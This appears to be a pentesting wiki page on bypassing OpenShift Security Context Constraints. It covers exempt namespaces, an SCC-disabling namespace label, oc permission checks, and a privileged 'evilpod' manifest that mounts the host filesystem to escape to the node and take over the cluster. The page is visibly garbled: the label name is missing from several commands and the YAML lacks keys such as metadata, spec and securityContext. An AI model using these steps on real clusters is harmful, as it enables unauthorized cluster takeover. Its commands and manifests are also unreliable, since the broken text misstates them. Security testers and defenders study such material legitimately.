OpenShift - SCC bypass

The original author of this page is Guillaume

Privileged Namespaces

By default, SCC does not apply on following projects :

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.

Namespace Label

There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :

  • Create a Namespace and Create a Pod on this Namespace

  • Edit a Namespace and Create a Pod on this Namespace

$ oc auth can-i create namespaces

$ oc auth can-i patch namespaces

The specific enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.

Add Label

To add the label in your namespace :

$ oc label ns MYNAMESPACE

To create a namespace with the label through a YAML file:

apiVersion: v1
kind: Namespace
  name: evil
  labels: 0

Now, all new pods created on the namespace should not have any SCC

$ oc get pod -o yaml | grep ''

In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.

apiVersion: v1
kind: Pod
  name: evilpod
  labels: evilpod 
  hostNetwork: true #Bind pod network to the host network 
  hostPID: true #See host processes
  hostIPC: true #Access host inter processes
  - name: evil    
    image: MYIMAGE
    imagePullPolicy: IfNotPresent
      privileged: true
      allowPrivilegeEscalation: true  
        memory: 200Mi
        cpu: 30m
        memory: 100Mi
    - name: hostrootfs
      mountPath: /mnt
  - name: hostrootfs

Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for Node-Post Exploitation part in the following page :

Attacking Kubernetes from inside a Pod

Custom labels

Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.

Try to look for custom labels if you can read some resources. Here a list of interesting resources :

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

List all privileged namespaces

$ oc get project -o yaml | grep 'run-level' -b5

Advanced exploit

In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality cannot be disabled, as it is inherent to OpenShift's design.

However, mitigation measures like Open Policy Agent GateKeeper can prevent users from setting this label.

To bypass GateKeeper's rules and set this label to execute a cluster takeover, attackers would need to identify alternative methods.


Last updated